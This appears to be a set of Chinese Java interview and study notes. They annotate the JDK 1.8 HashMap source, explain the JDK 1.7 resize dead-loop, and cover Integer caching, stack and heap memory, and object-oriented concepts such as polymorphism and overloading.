public HashMap(int initialCapacity, float loadFactor) {
if (initialCapacity < 0)
throw new IllegalArgumentException("Illegal initial capacity: " +
initialCapacity);
if (initialCapacity > MAXIMUM_CAPACITY)
initialCapacity = MAXIMUM_CAPACITY;
if (loadFactor <= 0 || Float.isNaN(loadFactor))
throw new IllegalArgumentException("Illegal load factor: " +
loadFactor);
this.loadFactor = loadFactor;
//这里就是把我们指定的容量改为一个大于它的的最小的2次幂值,如传过来的容量是14,则返回16
//注意这里,按理说返回的值应该赋值给 capacity,即保证数组容量总是2的n次幂,为什么这里赋值给了 threshold 呢?
//先卖个关子,等到 resize 的时候再说
this.threshold = tableSizeFor(initialCapacity);
}
//可传入一个已有的map
public HashMap(Map<? extends K, ? extends V> m) {
this.loadFactor = DEFAULT_LOAD_FACTOR;
putMapEntries(m, false);
}
//把传入的map里边的元素都加载到当前map
final void putMapEntries(Map<? extends K, ? extends V> m, boolean evict) {
int s = m.size();
if (s > 0) {
if (table == null) { // pre-size
float ft = ((float)s / loadFactor) + 1.0F;
int t = ((ft < (float)MAXIMUM_CAPACITY) ?
(int)ft : MAXIMUM_CAPACITY);
if (t > threshold)
threshold = tableSizeFor(t);
}
else if (s > threshold)
resize();
for (Map.Entry<? extends K, ? extends V> e : m.entrySet()) {
K key = e.getKey();
V value = e.getValue();
//put方法的具体实现,后边讲
putVal(hash(key), key, value, false, evict);
}
}
}
上边的第三个构造函数中,调用了 tableSizeFor 方法,这个方法是怎么实现的呢?
static final int tableSizeFor(int cap) {
int n = cap - 1;
n |= n >>> 1;
n |= n >>> 2;
n |= n >>> 4;
n |= n >>> 8;
n |= n >>> 16;
return (n < 0) ? 1 : (n >= MAXIMUM_CAPACITY) ? MAXIMUM_CAPACITY : n + 1;
}
我们以传入参数为14 来举例,计算这个过程。
首先,14传进去之后先减1,n此时为13。然后是一系列的无符号右移运算。
//13的二进制
0000 0000 0000 0000 0000 0000 0000 1101
//无右移1位,高位补0
0000 0000 0000 0000 0000 0000 0000 0110
//然后把它和原来的13做或运算得到,此时的n值
0000 0000 0000 0000 0000 0000 0000 1111
//再以上边的值,右移2位
0000 0000 0000 0000 0000 0000 0000 0011
//然后和第一次或运算之后的 n 值再做或运算,此时得到的n值
0000 0000 0000 0000 0000 0000 0000 1111
...
//我们会发现,再执行右移 4,8,16位,同样n的值不变
//当n小于0时,返回1,否则判断是否大于最大容量,是的话返回最大容量,否则返回 n+1
return (n < 0) ? 1 : (n >= MAXIMUM_CAPACITY) ? MAXIMUM_CAPACITY : n + 1;
//很明显我们这里返回的是 n+1 的值,
0000 0000 0000 0000 0000 0000 0000 1111
+ 1
0000 0000 0000 0000 0000 0000 0001 0000
将它转为十进制,就是 2^4 = 16 。我们会发现一个规律,以上的右移运算,最终会把最低位的值都转化为 1111 这样的结构,然后再加1,就是1 0000 这样的结构,它一定是 2的n次幂。因此,这个方法返回的就是大于当前传入值的最小(最接近当前值)的一个2的n次幂的值。
//put方法,会先调用一个hash()方法,得到当前key的一个hash值,
//用于确定当前key应该存放在数组的哪个下标位置
//这里的 hash方法,我们姑且先认为是key.hashCode(),其实不是的,一会儿细讲
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}
//把hash值和当前的key,value传入进来
//这里onlyIfAbsent如果为true,表明不能修改已经存在的值,因此我们传入false
//evict只有在方法 afterNodeInsertion(boolean evict) { }用到,可以看到它是一个空实现,因此不用关注这个参数
final V putVal(int hash, K key, V value, boolean onlyIfAbsent,
boolean evict) {
Node<K,V>[] tab; Node<K,V> p; int n, i;
//判断table是否为空,如果空的话,会先调用resize扩容
if ((tab = table) == null || (n = tab.length) == 0)
n = (tab = resize()).length;
//根据当前key的hash值找到它在数组中的下标,判断当前下标位置是否已经存在元素,
//若没有,则把key、value包装成Node节点,直接添加到此位置。
// i = (n - 1) & hash 是计算下标位置的,为什么这样算,后边讲
if ((p = tab[i = (n - 1) & hash]) == null)
tab[i] = newNode(hash, key, value, null);
else {
//如果当前位置已经有元素了,分为三种情况。
Node<K,V> e; K k;
//1.当前位置元素的hash值等于传过来的hash,并且他们的key值也相等,
//则把p赋值给e,跳转到①处,后续需要做值的覆盖处理
if (p.hash == hash &&
((k = p.key) == key || (key != null && key.equals(k))))
e = p;
//2.如果当前是红黑树结构,则把它加入到红黑树
else if (p instanceof TreeNode)
e = ((TreeNode<K,V>)p).putTreeVal(this, tab, hash, key, value);
else {
//3.说明此位置已存在元素,并且是普通链表结构,则采用尾插法,把新节点加入到链表尾部
for (int binCount = 0; ; ++binCount) {
if ((e = p.next) == null) {
//如果头结点的下一个节点为空,则插入新节点
p.next = newNode(hash, key, value, null);
//如果在插入的过程中,链表长度超过了8,则转化为红黑树
if (binCount >= TREEIFY_THRESHOLD - 1) // -1 for 1st
treeifyBin(tab, hash);
//插入成功之后,跳出循环,跳转到①处
break;
}
//若在链表中找到了相同key的话,直接退出循环,跳转到①处
if (e.hash == hash &&
((k = e.key) == key || (key != null && key.equals(k))))
break;
p = e;
}
}
//①
//说明发生了碰撞,e代表的是旧值,因此节点位置不变,但是需要替换为新值
if (e != null) { // existing mapping for key
V oldValue = e.value;
//用新值替换旧值,并返回旧值。
if (!onlyIfAbsent || oldValue == null)
e.value = value;
//看方法名字即可知,这是在node被访问之后需要做的操作。其实此处是一个空实现,
//只有在 LinkedHashMap才会实现,用于实现根据访问先后顺序对元素进行排序,hashmap不提供排序功能
// Callbacks to allow LinkedHashMap post-actions
//void afterNodeAccess(Node p) { }
afterNodeAccess(e);
return oldValue;
}
}
//fail-fast机制
++modCount;
//如果当前数组中的元素个数超过阈值,则扩容
if (++size > threshold)
resize();
//同样的空实现
afterNodeInsertion(evict);
return null;
}
前面 put 方法中说到,需要先把当前key进行哈希处理,我们看下这个方法是怎么实现的。
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
运行一段程序,把它的 hashCode的二进制打印出来,如下。
public static void main(String[] args) {
Object o = new Object();
int hash = o.hashCode();
System.out.println(hash);
System.out.println(Integer.toBinaryString(hash));
}
//1836019240
//1101101011011110110111000101000
然后,进行 (h = key.hashCode()) ^ (h >>> 16) 这一段运算。
//h原来的值
0110 1101 0110 1111 0110 1110 0010 1000
//无符号右移16位,其实相当于把低位16位舍去,只保留高16位
0000 0000 0000 0000 0110 1101 0110 1111
//然后高16位和原 h进行异或运算
0110 1101 0110 1111 0110 1110 0010 1000
^
0000 0000 0000 0000 0110 1101 0110 1111
=
0110 1101 0110 1111 0000 0011 0100 0111
在上边 put 方法中,我们会发现,当数组为空的时候,会调用 resize 方法,当数组的 size 大于阈值的时候,也会调用 resize方法。 那么看下 resize 方法都做了哪些事情吧。
final Node<K,V>[] resize() {
//旧数组
Node<K,V>[] oldTab = table;
//旧数组的容量
int oldCap = (oldTab == null) ? 0 : oldTab.length;
//旧数组的扩容阈值,注意看,这里取的是当前对象的 threshold 值,下边的第2种情况会用到。
int oldThr = threshold;
//初始化新数组的容量和阈值,分三种情况讨论。
int newCap, newThr = 0;
//1.当旧数组的容量大于0时,说明在这之前肯定调用过 resize扩容过一次,才会导致旧容量不为0。
//为什么这样说呢,之前我在 tableSizeFor 卖了个关子,需要注意的是,它返回的值是赋给了 threshold 而不是 capacity。
//我们在这之前,压根就没有在任何地方看到过,它给 capacity 赋初始值。
if (oldCap > 0) {
//容量达到了最大值
if (oldCap >= MAXIMUM_CAPACITY) {
threshold = Integer.MAX_VALUE;
return oldTab;
}
//新数组的容量和阈值都扩大原来的2倍
else if ((newCap = oldCap << 1) < MAXIMUM_CAPACITY &&
oldCap >= DEFAULT_INITIAL_CAPACITY)
newThr = oldThr << 1; // double threshold
}
//2.到这里,说明 oldCap <= 0,并且 oldThr(threshold) > 0,这就是 map 初始化的时候,第一次调用 resize的情况
//而 oldThr的值等于 threshold,此时的 threshold 是通过 tableSizeFor 方法得到的一个2的n次幂的值(我们以16为例)。
//因此,需要把 oldThr 的值,也就是 threshold ,赋值给新数组的容量 newCap,以保证数组的容量是2的n次幂。
//所以我们可以得出结论,当map第一次 put 元素的时候,就会走到这个分支,把数组的容量设置为正确的值(2的n次幂)
//但是,此时 threshold 的值也是2的n次幂,这不对啊,它应该是数组的容量乘以加载因子才对。别着急,这个会在③处理。
else if (oldThr > 0) // initial capacity was placed in threshold
newCap = oldThr;
//3.到这里,说明 oldCap 和 oldThr 都是小于等于0的。也说明我们的map是通过默认无参构造来创建的,
//于是,数组的容量和阈值都取默认值就可以了,即 16 和 12。
else { // zero initial threshold signifies using defaults
newCap = DEFAULT_INITIAL_CAPACITY;
newThr = (int)(DEFAULT_LOAD_FACTOR * DEFAULT_INITIAL_CAPACITY);
}
//③ 这里就是处理第2种情况,因为只有这种情况 newThr 才为0,
//因此计算 newThr(用 newCap即16 乘以加载因子 0.75,得到 12) ,并把它赋值给 threshold
if (newThr == 0) {
float ft = (float)newCap * loadFactor;
newThr = (newCap < MAXIMUM_CAPACITY && ft < (float)MAXIMUM_CAPACITY ?
(int)ft : Integer.MAX_VALUE);
}
//赋予 threshold 正确的值,表示数组下次需要扩容的阈值(此时就把原来的 16 修正为了 12)。
threshold = newThr;
@SuppressWarnings({"rawtypes","unchecked"})
//我们可以发现,在构造函数时,并没有创建数组,在第一次调用put方法,导致resize的时候,才会把数组创建出来。这是为了延迟加载,提高效率。
Node<K,V>[] newTab = (Node<K,V>[])new Node[newCap];
table = newTab;
//如果原来的数组不为空,那么我们就需要把原来数组中的元素重新分配到新的数组中
//如果是第2种情况,由于是第一次调用resize,此时数组肯定是空的,因此也就不需要重新分配元素。
if (oldTab != null) {
//遍历旧数组
for (int j = 0; j < oldCap; ++j) {
Node<K,V> e;
//取到当前下标的第一个元素,如果存在,则分三种情况重新分配位置
if ((e = oldTab[j]) != null) {
oldTab[j] = null;
//1.如果当前元素的下一个元素为空,则说明此处只有一个元素
//则直接用它的hash()值和新数组的容量取模就可以了,得到新的下标位置。
if (e.next == null)
newTab[e.hash & (newCap - 1)] = e;
//2.如果是红黑树结构,则拆分红黑树,必要时有可能退化为链表
else if (e instanceof TreeNode)
((TreeNode<K,V>)e).split(this, newTab, j, oldCap);
//3.到这里说明,这是一个长度大于 1 的普通链表,则需要计算并
//判断当前位置的链表是否需要移动到新的位置
else { // preserve order
// loHead 和 loTail 分别代表链表旧位置的头尾节点
Node<K,V> loHead = null, loTail = null;
// hiHead 和 hiTail 分别代表链表移动到新位置的头尾节点
Node<K,V> hiHead = null, hiTail = null;
Node<K,V> next;
do {
next = e.next;
//如果当前元素的hash值和oldCap做与运算为0,则原位置不变
if ((e.hash & oldCap) == 0) {
if (loTail == null)
loHead = e;
else
loTail.next = e;
loTail = e;
}
//否则,需要移动到新的位置
else {
if (hiTail == null)
hiHead = e;
else
hiTail.next = e;
hiTail = e;
}
} while ((e = next) != null);
//原位置不变的一条链表,数组下标不变
if (loTail != null) {
loTail.next = null;
newTab[j] = loHead;
}
//移动到新位置的一条链表,数组下标为原下标加上旧数组的容量
if (hiTail != null) {
hiTail.next = null;
newTab[j + oldCap] = hiHead;
}
}
}
}
}
return newTab;
}
上边还有一个非常重要的运算,我们没有讲解。就是下边这个判断,它用于把原来的普通链表拆分为两条链表,位置不变或者放在新的位置。
if ((e.hash & oldCap) == 0) {} else {}
有了前面的基础,get方法就比较简单了。
public V get(Object key) {
Node<K,V> e;
//如果节点为空,则返回null,否则返回节点的value。这也说明,hashMap是支持value为null的。
//因此,我们就明白了,为什么hashMap支持Key和value都为null
return (e = getNode(hash(key), key)) == null ? null : e.value;
}
final Node<K,V> getNode(int hash, Object key) {
Node<K,V>[] tab; Node<K,V> first, e; int n; K k;
//首先要确保数组不能为空,然后取到当前hash值计算出来的下标位置的第一个元素
if ((tab = table) != null && (n = tab.length) > 0 &&
(first = tab[(n - 1) & hash]) != null) {
//若hash值和key都相等,则说明我们要找的就是第一个元素,直接返回
if (first.hash == hash && // always check first node
((k = first.key) == key || (key != null && key.equals(k))))
return first;
//如果不是的话,就遍历当前链表(或红黑树)
if ((e = first.next) != null) {
//如果是红黑树结构,则找到当前key所在的节点位置
if (first instanceof TreeNode)
return ((TreeNode<K,V>)first).getTreeNode(hash, key);
//如果是普通链表,则向后遍历查找,直到找到或者遍历到链表末尾为止。
do {
if (e.hash == hash &&
((k = e.key) == key || (key != null && key.equals(k))))
return e;
} while ((e = e.next) != null);
}
}
//否则,说明没有找到,返回null
return null;
}
准确的讲应该是 JDK1.7 的 HashMap 链表会有死循环的可能,因为JDK1.7是采用的头插法,在多线程环境下有可能会使链表形成环状,从而导致死循环。JDK1.8做了改进,用的是尾插法,不会产生死循环。
那么,链表是怎么形成环状的呢?
关于这一点的解释,我发现网上文章抄来抄去的,而且都来自左耳朵耗子,更惊奇的是,连配图都是一模一样的。(别问我为什么知道,因为我也看过耗子叔的文章,哈哈。然而,菜鸡的我,那篇文章,并没有看懂。。。)
我实在看不下去了,于是一怒之下,就有了这篇文章。我会照着源码一步一步的分析变量之间的关系怎么变化的,并有配图哦。
我们从 put()方法开始,最终找到线程不安全的那个方法。这里省略中间不重要的过程,我只把方法的跳转流程贴出来:
//添加元素方法 -> 添加新节点方法 -> 扩容方法 -> 把原数组元素重新分配到新数组中
put() --> addEntry() --> resize() --> transfer()
问题就发生在 transfer 这个方法中。
我们假设,原数组容量只有2,其中一条链表上有两个元素 A,B,如下图
现在,有两个线程都执行 transfer 方法。每个线程都会在它们自己的工作内存生成一个newTable 的数组,用于存储变化后的链表,它们互不影响(这里互不影响,指的是两个新数组本身互不影响)。但是,需要注意的是,它们操作的数据却是同一份。
因为,真正的数组中的内容在堆中存储,它们指向的是同一份数据内容。就相当于,有两个不同的引用 X,Y,但是它们都指向同一个对象 Z。这里 X、Y就是两个线程不同的新数组,Z就是堆中的A,B 等元素对象。
假设线程一执行到了上图1中所指的代码①处,恰好 CPU 时间片到了,线程被挂起,不能继续执行了。 记住此时,线程一中记录的 e = A , e.next = B。
然后线程二正常执行,扩容后的数组长度为 4, 假设 A,B两个元素又碰撞到了同一个桶中。然后,通过几次 while 循环后,采用头插法,最终呈现的结构如下:
此时,线程一解挂,继续往下执行。注意,此时线程一,记录的还是 e = A,e.next = B,因为它还未感知到最新的变化。
我们主要关注图1中标注的①②③④处的变量变化:
/**
* next = e.next
* e.next = newTable[i]
* newTable[i] = e;
* e = next;
*/
//第一次循环,(伪代码)
e=A;next=B;
e.next=null //此时线程一的新数组刚初始化完成,还没有元素
newTab[i] = A->null //把A节点头插到新数组中
e=B; //下次循环的e值
第一次循环结束后,线程一新数组的结构如下图:
然后,由于 e=B,不为空,进入第二次循环。
//第二次循环
e=B;next=A; //此时A,B的内容已经被线程二修改为 B->A->null,然后被线程一读到,所以B的下一个节点指向A
e.next=A->null // A->null 为第一次循环后线程一新数组的结构
newTab[i] = B->A->null //新节点B插入之后,线程一新数组的结构
e=A; //下次循环的 e 值
第二次循环结束后,线程一新数组的结构如下图:
此时,由于 e=A,不为空,继续循环。
这时,有的同学可能就会问了,就算他们成环了,又怎样,跟死循环有什么关系?
我们看下 get() 方法(最终调用 getEntry 方法),
可以看到查找元素时,只要 e 不为空,就会一直循环查找下去。若有某个元素 C 的 hash 值也落在了和 A,B元素同一个桶中,则会由于, A,B互相指向,e.next 永远不为空,就会形成死循环。
当我们往Hashmap中put元素时,利用key的hashCode重新hash计算出当前对象的元素在数组中的下标
存储时,如果出现hash值相同的key,此时有两种情况。(1)如果key相同,则覆盖原始值;(2)如果key不同(出现冲突),则将当前的key-value放入链表中
获取时,直接找到hash值对应的下标,在进一步判断key是否相同,从而找到对应值。
理解了以上过程就不难明白HashMap是如何解决hash冲突的问题,核心就是使用了数组的存储方式,然后将冲突的key的对象放入链表中,一旦发现冲突就在链表中做进一步的对比。
HashMap长度是默认的16,length - 1的结果 : 十进制 : 15
具体实现机制:参考 hashMap扩容机制
①.在jdk1.8中,resize方法是在hashmap中的键值对大于阀值时或者初始化时,就调用resize方法进行扩容;
②.每次扩展的时候,都是扩展2倍;
③.扩展后Node对象的位置要么在原位置,要么移动到原偏移量两倍的位置。
在putVal()中,我们看到在这个函数里面使用到了2次resize()方法,resize()方法表示的在进行第一次初始化时会对其进行扩容,或者当该数组的实际大小大于其临界值值(第一次为12),这个时候在扩容的同时也会伴随的桶上面的元素进行重新分发,这也是JDK1.8版本的一个优化的地方,在1.7中,扩容之后需要重新去计算其Hash值,根据Hash值对其进行分发,但在1.8版本中,则是根据在同一个桶的位置中进行判断(e.hash & oldCap)是否为0,重新进行hash分配后,该元素的位置要么停留在原始位置,要么移动到原始位置+增加的数组大小这个位置上
答:在解决这个问题之前,我们首先需要知道什么是哈希冲突,而在了解哈希冲突之前我们还要知道什么是哈希才行;
Hash,一般翻译为“散列”,也有直接音译为“哈希”的,这就是把任意长度的输入通过散列算法,变换成固定长度的输出,该输出就是散列值(哈希值);这种转换是一种压缩映射,也就是,散列值的空间通常远小于输入的空间,不同的输入可能会散列成相同的输出,所以不可能从散列值来唯一的确定输入值。简单的说就是一种将任意长度的消息压缩到某一固定长度的消息摘要的函数。
根据同一散列函数计算出的散列值如果不同,那么输入值肯定也不同。但是,根据同一散列函数计算出的散列值如果相同,输入值不一定相同。
当两个不同的输入值,根据同一散列函数计算出相同的散列值的现象,我们就把它叫做碰撞(哈希碰撞)。
装箱:将基本类型用它们对应的引用类型包装起来;
拆箱:将包装类型转换为基本数据类型;
1、Integer是int的包装类,int则是java的一种基本数据类型
2、Integer变量必须实例化后才能使用,而int变量不需要
3、Integer实际是对象的引用,当new一个Integer时,实际上是生成一个指针指向此对象;而int则是直接存储数据值
4、Integer的默认值是null,int的默认值是0
比如要体现出 考试成绩为0和缺考的区别的时候 用Integer可以 int不行
比如用容器的时候 ,ArrayList等职能放对象,不能放基本数据类型。
将基本数据类型封装成对象的好处是:
1)、在对象中可以定义更多的功能方法操作该数据。例如:基本数据类型和字符串直接的转换。
2)、编码过程中只接收对象的情况,例如List中只存入对象,不能存入基本数据类型。
3、使用场景
大部分的情况下,这两种类型没有太大得区别。根据以上两点的分析,基本类型的存取速度会更快,对象中有更多功能方法来操作数据,要根据实际需要定义属性。
借鉴网上学生成绩的例子,没来考试,成绩是0还是null,如果你觉得是0就用int,如果你认为是null,就用Integer。
那数据存放在堆中和栈中有什么区别呢?
堆中存的是对象。栈中存的是基本数据类型和堆中对象的引用。一个对象的大小是不可估计的,或者说是可以动态变化的,但是在栈中,一个对象只对应了一个4btye的引用(堆栈分离的好处:))。
为什么不把基本类型放堆中呢?因为其占用的空间一般是1~8个字节——需要空间比较少,而且因为是基本类型,所以不会出现动态增长的情况——长度固定,因此栈中存储就够了,如果把他存在堆中是没有什么意义的(还会浪费空间,后面说明)。可以这么说,基本类型和对象的引用都是存放在栈中,而且都是几个字节的一个数,因此在程序运行时,他们的处理方式是统一的。但是基本类型、对象引用和对象本身就有所区别了,因为一个是栈中的数据一个是堆中的数据。最常见的一个问题就是,Java中参数传递时的问题。
栈:
1)栈的存取速度比堆快,仅次于直接位于CPU的寄存器。
2)栈中的数据的大小和生存周期是确定的。
3)栈中的数据可以共享。
堆:
1)堆可以动态的分配内存大小,生存期也不必告诉编译器。
2)堆在运行时动态分配内存,存取速度慢。
综上所述,可以简单的理解为,为了高效,可以把一些数值小,简单的变量存放在栈中。堆和栈
堆(Heap)与栈(Stack)是开发人员必须面对的两个概念,在理解这两个概念时,需要放到具体的场景下,因为不同场景下,堆与栈代表不同的含义。一般情况下,有两层含义:
(1)程序内存布局场景下,堆与栈表示两种内存管理方式;
(2)数据结构场景下,堆与栈表示两种常用的数据结构。
在说堆和栈之前,我们先说一下JVM(虚拟机)内存的划分:
Java程序在运行时都要开辟空间,任何软件在运行时都要在内存中开辟空间,Java虚拟机运行时也是要开辟空间的。JVM运行时在内存中开辟一片内存区域,启动时在自己的内存区域中进行更细致的划分,因为虚拟机中每一片内存处理的方式都不同,所以要单独进行管理。
JVM内存的划分有五片:
1. 寄存器;
2. 本地方法区;
3. 方法区;
4. 栈内存;
5. 堆内存。
栈内存:栈内存首先是一片内存区域,存储的都是局部变量,凡是定义在方法中的都是局部变量(方法外的是全局变量),for循环内部定义的也是局部变量,是先加载函数才能进行局部变量的定义,所以方法先进栈,然后再定义变量,变量有自己的作用域,一旦离开作用域,变量就会被释放。栈内存的更新速度很快,因为局部变量的生命周期都很短。
堆内存:存储的是数组和对象(其实数组就是对象),凡是new建立的都是在堆中,堆中存放的都是实体(对象),实体用于封装数据,而且是封装多个(实体的多个属性),如果一个数据消失,这个实体也没有消失,还可以用,所以堆是不会随时释放的,但是栈不一样,栈里存放的都是单个变量,变量被释放了,那就没有了。堆里的实体虽然不会被释放,但是会被当成垃圾,Java有垃圾回收机制不定时的收取。
下面我们通过一个图例详细讲一下堆和栈:
比如主函数里的语句 int [] arr=new int [3];在内存中是怎么被定义的:
主函数先进栈,在栈中定义一个变量arr,接下来为arr赋值,但是右边不是一个具体值,是一个实体。实体创建在堆里,在堆里首先通过new关键字开辟一个空间,内存在存储数据的时候都是通过地址来体现的,地址是一块连续的二进制,然后给这个实体分配一个内存地址。数组都是有一个索引,数组这个实体在堆内存中产生之后每一个空间都会进行默认的初始化(这是堆内存的特点,未初始化的数据是不能用的,但在堆里是可以用的,因为初始化过了,但是在栈里没有),不同的类型初始化的值不一样。所以堆和栈里就创建了变量和实体:
我们刚刚说过给堆分配了一个地址,把堆的地址赋给arr,arr就通过地址指向了数组。所以arr想操纵数组时,就通过地址,而不是直接把实体都赋给它。这种我们不再叫他基本数据类型,而叫引用数据类型。称为arr引用了堆内存当中的实体。(可以理解为c或c++的指针,Java成长自c++和c++很像,优化了c++)
如果当int [] arr=null;
arr不做任何指向,null的作用就是取消引用数据类型的指向。
当一个实体,没有引用数据类型指向的时候,它在堆内存中不会被释放,而被当做一个垃圾,在不定时的时间内自动回收,因为Java有一个自动回收机制,(而c++没有,需要程序员手动回收,如果不回收就越堆越多,直到撑满内存溢出,所以Java在内存管理上优于c++)。自动回收机制(程序)自动监测堆里是否有垃圾,如果有,就会自动的做垃圾回收的动作,但是什么时候收不一定。
1.栈内存存储的是局部变量而堆内存存储的是实体;
2.栈内存的更新速度要快于堆内存,因为局部变量的生命周期很短;
3.栈内存存放的变量生命周期一旦结束就会被释放,而堆内存存放的实体会被垃圾回收机制不定时的回收。
1、由于Integer变量实际上是对一个Integer对象的引用,所以两个通过new生成的Integer变量永远是不相等的(因为new生成的是两个对象,其内存地址不同)。
Integer i = new Integer(100);
Integer j = new Integer(100);
System.out.print(i == j); //false
2、Integer变量和int变量比较时,只要两个变量的值是向等的,则结果为true(因为包装类Integer和基本数据类型int比较时,java会自动拆包装为int,然后进行比较,实际上就变为两个int变量的比较)
Integer i = new Integer(100);
int j = 100;
System.out.print(i == j); //true
3、非new生成的Integer变量和new Integer()生成的变量比较时,结果为false。(因为非new生成的Integer变量指向的是java常量池中的对象,而new Integer()生成的变量指向堆中新建的对象,两者在内存中的地址不同)
Integer i = new Integer(100);
Integer j = 100;
System.out.print(i == j); //false
4、对于两个非new生成的Integer对象,进行比较时,如果两个变量的值在区间-128到127之间,则比较结果为true,如果两个变量的值不在此区间,则比较结果为false
Integer i = 100;
Integer j = 100;
System.out.print(i == j); //true
Integer i = 128;
Integer j = 128;
System.out.print(i == j); //false
对于第4条的原因:
java在编译Integer i = 100 ;时,会翻译成为Integer i = Integer.valueOf(100);,而java API中对Integer类型的valueOf的定义如下:
public static Integer valueOf(int i){
assert IntegerCache.high >= 127;
if (i >= IntegerCache.low && i <= IntegerCache.high){
return IntegerCache.cache[i + (-IntegerCache.low)];
}
return new Integer(i);
}
java对于-128到127之间的数,会进行缓存,Integer i = 127时,会将127进行缓存,下次再写Integer j = 127时,就会直接从缓存中取,就不会new了
Java 是一个近乎纯洁的面向对象编程语言,但是为了编程的方便还是引入了基本数据类型,但是为了能够将这些基本数据类型当成对象操作,Java 为每一个基本数据类型都引入了对应的包装类型(wrapper class),int 的包装类就是 Integer,从 Java 5 开始引入了自动装箱/拆箱机制,使得二者可以相互转换。
原始类型: boolean,char,byte,short,int,long,float,double
包装类型:Boolean,Character,Byte,Short,Integer,Long,Float,Double
Integer a= 127 与 Integer b = 127相等吗
对于对象引用类型:==比较的是对象的内存地址。
对于基本数据类型:==比较的是值。
如果整型字面量的值在-128到127之间,那么自动装箱时不会new新的Integer对象,而是直接引用常量池中的Integer对象,超过范围 a1==b1的结果是false
1、Double是java定义的类,而double是预定义数据类型(8种中的一种)
2、Double就好比是对double类型的封装,内置很多方法可以实现String到double的转换,以及获取各种double类型的属性值(MAX_VALUE、SIZE等等)
基于上述两点,如果你在普通的定义一个浮点类型的数据,两者都可以,但是Double是类所以其对象是可以为NULL的,而double定义的不能为NULL,如果你要将一些数字字符串,那么就应该使用Double类型了,其内部帮你实现了强转。
面向过程:
优点:性能比面向对象高,因为类调用时需要实例化,开销比较大,比较消耗资源;比如单片机、嵌入式开发、Linux/Unix等一般采用面向过程开发,性能是最重要的因素。
缺点:没有面向对象易维护、易复用、易扩展
面向对象:
优点:易维护、易复用、易扩展,由于面向对象有封装、继承、多态性的特性,可以设计出低耦合的系统,使系统更加灵活、更加易于维护
缺点:性能比面向过程低
抽象:抽象是将一类对象的共同特征总结出来构造类的过程,包括数据抽象和行为抽象两方面。抽象只关注对象有哪些属性和行为,并不关注这些行为的细节是什么。
封装
封装把一个对象的属性私有化,同时提供一些可以被外界访问的属性的方法,如果属性不想被外界访问,我们大可不必提供方法给外界访问。但是如果一个类没有提供给外界访问的方法,那么这个类也没有什么意义了。
继承
继承是使用已存在的类的定义作为基础建立新类的技术,新类的定义可以增加新的数据或新的功能,也可以用父类的功能,但不能选择性地继承父类。通过使用继承我们能够非常方便地复用以前的代码。
多态
所谓多态就是指程序中定义的引用变量所指向的具体类型和通过该引用变量发出的方法调用在编程时并不确定,而是在程序运行期间才确定,即一个引用变量到底会指向哪个类的实例对象,该引用变量发出的方法调用到底是哪个类中实现的方法,必须在由程序运行期间才能决定。
在Java中有两种形式可以实现多态:继承(多个子类对同一方法的重写)和接口(实现接口并覆盖接口中同一方法)。
封装:隐藏对象的属性和实现细节,仅对外提供公共访问方式,将变化隔离,便于使用,提高复用性和安全性。
继承:继承是使用已存在的类的定义作为基础建立新类的技术,新类的定义可以增加新的数据或新的功能,也可以用父类的功能,但不能选择性地继承父类。通过使用继承可以提高代码复用性。继承是多态的前提。
子类拥有父类非 private 的属性和方法。
子类可以拥有自己属性和方法,即子类可以对父类进行扩展。
子类可以用自己的方式实现父类的方法。
多态性:父类或接口定义的引用变量可以指向子类或具体实现类的实例对象。提高了程序的拓展性。
在Java中有两种形式可以实现多态:继承(多个子类对同一方法的重写)和接口(实现接口并覆盖接口中同一方法)。
方法重载(overload)实现的是编译时的多态性(也称为前绑定),而方法重写(override)实现的是运行时的多态性(也称为后绑定)。
一个引用变量到底会指向哪个类的实例对象,该引用变量发出的方法调用到底是哪个类中实现的方法,必须在由程序运行期间才能决定。运行时的多态是面向对象最精髓的东西,要实现多态需要做两件事:
方法重写(子类继承父类并重写父类中已有的或抽象的方法);
对象造型(用父类型引用子类型对象,这样同样的引用调用同样的方法就会根据子类对象的不同而表现出不同的行为)。
所谓多态就是指程序中定义的引用变量所指向的具体类型和通过该引用变量发出的方法调用在编程时并不确定,而是在程序运行期间才确定,即一个引用变量倒底会指向哪个类的实例对象,该引用变量发出的方法调用到底是哪个类中实现的方法,必须在由程序运行期间才能决定。因为在程序运行时才确定具体的类,这样,不用修改源程序代码,就可以让引用变量绑定到各种不同的类实现上,从而导致该引用调用的具体方法随之改变,即不修改程序代码就可以改变程序运行时所绑定的具体代码,让程序可以选择多个运行状态,这就是多态性。
多态分为编译时多态和运行时多态。其中编辑时多态是静态的,主要是指方法的重载,它是根据参数列表的不同来区分不同的函数,通过编辑之后会变成两个不同的函数,在运行时谈不上多态。而运行时多态是动态的,它是通过动态绑定来实现的,也就是我们所说的多态性。
继承:在多态中必须存在有继承关系的子类和父类。
重写:子类对父类中某些方法进行重新定义,在调用这些方法时就会调用子类的方法。
向上转型:在多态中需要将子类的引用赋给父类对象,只有这样该引用才能够具备技能调用父类的方法和子类的方法。
只有满足了上述三个条件,我们才能够在同一个继承结构中使用统一的逻辑实现代码处理不同的对象,从而达到执行不同的行为。
对于Java而言,它多态的实现机制遵循一个原则:当超类对象引用变量引用子类对象时,被引用对象的类型而不是引用变量的类型决定了调用谁的成员方法,但是这个被调用的方法必须是在超类中定义过的,也就是说被子类覆盖的方法。
抽象类是用来捕捉子类的通用特性的。接口是抽象方法的集合。
普通类不能包含抽象方法,抽象类可以包含抽象方法。
抽象类不能直接实例化,普通类可以直接实例化。
不能,定义抽象类就是让其他类继承的,如果定义为 final 该类就不能被继承,这样彼此就会产生矛盾,所以 final 不能修饰抽象类
构造器(constructor)是否可被重写(override)
构造器不能被继承,因此不能被重写,但可以被重载。
重载的方法能否根据返回类型进行区分?
方法的重载和重写都是实现多态的方式,区别在于前者实现的是编译时的多态性,而后者实现的是运行时的多态性。
重载:发生在同一个类中,方法名相同参数列表不同(参数类型不同、个数不同、顺序不同),与方法返回值和访问修饰符无关,即重载的方法不能根据返回类型进行区分
重写:发生在父子类中,方法名、参数列表必须相同,返回值小于等于父类,抛出的异常小于等于父类,访问修饰符大于等于父类(里氏代换原则);如果父类方法访问修饰符为private则子类中就不是重写。
== : 它的作用是判断两个对象的地址是不是相等。即,判断两个对象是不是同一个对象。(基本数据类型 == 比较的是值,引用数据类型 == 比较的是内存地址)
equals() : 它的作用也是判断两个对象是否相等。但它一般有两种使用情况:
情况1:类没有覆盖 equals() 方法。则通过 equals() 比较该类的两个对象时,等价于通过“==”比较这两个对象。
